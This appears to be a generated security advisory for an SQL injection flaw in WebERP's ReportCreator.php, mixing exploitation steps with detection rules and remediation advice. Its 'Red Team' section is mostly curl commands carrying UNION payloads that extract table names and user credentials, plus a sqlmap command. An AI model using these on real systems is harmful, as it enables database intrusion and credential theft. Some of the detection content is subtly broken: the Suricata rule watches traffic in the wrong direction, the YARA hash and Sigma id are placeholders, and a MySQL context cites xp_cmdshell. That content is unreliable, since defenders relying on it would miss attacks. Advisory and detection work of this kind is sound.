CVE-2025-46053

Executive Summary

CVE-2025-46053 is a critical SQL Injection vulnerability discovered in WebERP version 4.15.2. The flaw resides in the /reportwriter/admin/ReportCreator.php script, specifically within the handling of the ReportID and ReplaceReportID POST parameters. An unauthenticated attacker can inject arbitrary SQL commands by crafting a malicious payload, leading to unauthorized extraction of sensitive data from the underlying database. This vulnerability poses a severe risk to confidentiality and integrity, as it can be exploited remotely without authentication. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept details increases the urgency for patching.

Supply Chain & Package Security

WebERP is a PHP-based ERP application. This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's PHP source. Organizations using WebERP should treat this as a critical supply chain risk if the application is deployed in a production environment.

CVSS Breakdown & Threat Level

While the official CVSS vector is unknown, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security authority.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): Low (L) – Potential for denial of service via resource exhaustion or database corruption.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact on confidentiality and integrity makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the ReportCreator.php script. The application fails to properly sanitize or parameterize user-supplied input in the ReportID and ReplaceReportID POST parameters before using them in SQL queries.

Root Cause: The PHP code likely constructs SQL queries by directly concatenating the user input without using prepared statements or parameterized queries. For example, a vulnerable code snippet might look like:

$reportID = $_POST['ReportID'];
$sql = "SELECT * FROM reports WHERE id = " . $reportID;
$result = mysqli_query($conn, $sql);

An attacker can break out of the intended SQL syntax by injecting a single quote (') or other SQL metacharacters, followed by arbitrary SQL commands.

Attack Vector: A POST request to /reportwriter/admin/ReportCreator.php with crafted ReportID and ReplaceReportID parameters.

Impact: Successful exploitation allows an attacker to:

• Extract sensitive data from any table in the database (e.g., user credentials, financial records).
• Modify or delete data.
• Potentially execute operating system commands (if the database user has sufficient privileges and xp_cmdshell or similar is enabled).
• Escalate privileges within the application.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// Vulnerable: Direct concatenation of user input
$reportID = $_POST['ReportID'];
$sql = "SELECT * FROM report_templates WHERE id = " . $reportID;
$result = mysqli_query($conn, $sql);
?>

Patched Code (Conceptual):

<?php
// Patched: Use of prepared statements
$reportID = $_POST['ReportID'];
$stmt = $conn->prepare("SELECT * FROM report_templates WHERE id = ?");
$stmt->bind_param("i", $reportID);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses a prepared statement with a parameterized query, which ensures that user input is treated as data, not executable SQL code. The bind_param function with type specifier i (integer) also enforces data type validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running WebERP 4.15.2.
• Network access to the /reportwriter/admin/ReportCreator.php endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://target.com/reportwriter/admin/ReportCreator.php \
   -d "ReportID=1&ReplaceReportID=1"
   

2. Test for SQL Injection using a simple payload:

   curl -X POST http://target.com/reportwriter/admin/ReportCreator.php \
   -d "ReportID=1' OR '1'='1&ReplaceReportID=1"
   

   If the response differs (e.g., returns all records), the endpoint is vulnerable.

3. Extract database version:

   curl -X POST http://target.com/reportwriter/admin/ReportCreator.php \
   -d "ReportID=1 UNION SELECT @@version,2,3-- -&ReplaceReportID=1"
   

4. Extract table names (MySQL example):

   curl -X POST http://target.com/reportwriter/admin/ReportCreator.php \
   -d "ReportID=1 UNION SELECT table_name,2,3 FROM information_schema.tables-- -&ReplaceReportID=1"
   

5. Extract user credentials:

   curl -X POST http://target.com/reportwriter/admin/ReportCreator.php \
   -d "ReportID=1 UNION SELECT username,password,3 FROM users-- -&ReplaceReportID=1"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/reportwriter/admin/ReportCreator.php" \
--data="ReportID=1&ReplaceReportID=1" \
--batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /reportwriter/admin/ReportCreator.php for unusual patterns in the ReportID and ReplaceReportID parameters.
2. Look for SQL keywords (e.g., UNION, SELECT, OR, AND, --, #) in POST data.
3. Enable database query logging to capture suspicious SQL statements.
4. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
5. Implement input validation on the server side to reject non-numeric input for ReportID and ReplaceReportID.

Honeypot Strategy:

• Create a fake endpoint /reportwriter/admin/ReportCreator.php that logs all POST data and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /reportwriter/admin/ReportCreator.php containing SQL keywords in the body.
• Unusual response sizes or error messages containing SQL syntax errors.
• Outbound database connections from the web server to unexpected IPs.

Host IOCs:

• Unexpected files in the web root (e.g., webshells).
• Modified database entries (e.g., new admin users).
• Unusual database queries in logs (e.g., UNION SELECT, xp_cmdshell).

Log IOCs:

• Web server logs showing POST /reportwriter/admin/ReportCreator.php with parameters containing ', --, UNION, SELECT.
• Database logs showing queries with injected SQL syntax.

Detection Engineering

YARA Rule

rule CVE_2025_46053_SQLi_WebERP {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-46053 in WebERP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46053"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "ReportID=" nocase
        $s2 = "ReplaceReportID=" nocase
        $sqli1 = /(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d+=\d+|AND\s+\d+=\d+)/ nocase
        $sqli2 = /['\"]\s*(OR|AND)\s*['\"]?\d+['\"]?\s*=\s*['\"]?\d+['\"]?/ nocase
        $sqli3 = /--\s*$/ nocase
        $sqli4 = /#/ nocase
    condition:
        all of ($s*) and any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against WebERP ReportCreator
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-46053 in WebERP
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46053
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/reportwriter/admin/ReportCreator.php'
    keywords:
        - 'ReportID='
        - 'ReplaceReportID='
    sqli_patterns:
        - ' UNION '
        - ' SELECT '
        - ' OR 1=1'
        - ' AND 1=1'
        - '--'
        - '#'
    condition: selection and (keywords or sqli_patterns)
falsepositives:
    - Legitimate use of special characters in report names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-46053 SQL Injection Attempt - WebERP ReportCreator";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/reportwriter/admin/ReportCreator.php";
    http_uri;
    content:"ReportID=";
    http_client_body;
    pcre:"/(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+\d+=\d+|AND\s+\d+=\d+|--|#)/i";
    sid:10000001;
    rev:1;
    priority:1;
    reference:cve,2025-46053;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WebERP to the latest patched version (if available). If no patch exists, consider disabling the vulnerable functionality.
2. Apply a virtual patch using a WAF to block SQL injection patterns in the ReportID and ReplaceReportID parameters.
3. Restrict network access to the /reportwriter/admin/ directory to trusted IPs only.

Long-term Fixes:

1. Code Review: Audit all PHP files for SQL injection vulnerabilities, especially those handling user input.
2. Use Prepared Statements: Replace all dynamic SQL queries with parameterized queries or prepared statements.
3. Input Validation: Implement strict input validation (e.g., only allow numeric values for ReportID).
4. Least Privilege: Ensure the database user used by WebERP has minimal necessary privileges (e.g., no DROP or CREATE permissions).

Workaround:

• If immediate patching is not possible, remove or rename the ReportCreator.php file and any related report writer functionality until a fix is applied.

This report was generated by Valters IT DevSecOps & CTI Division.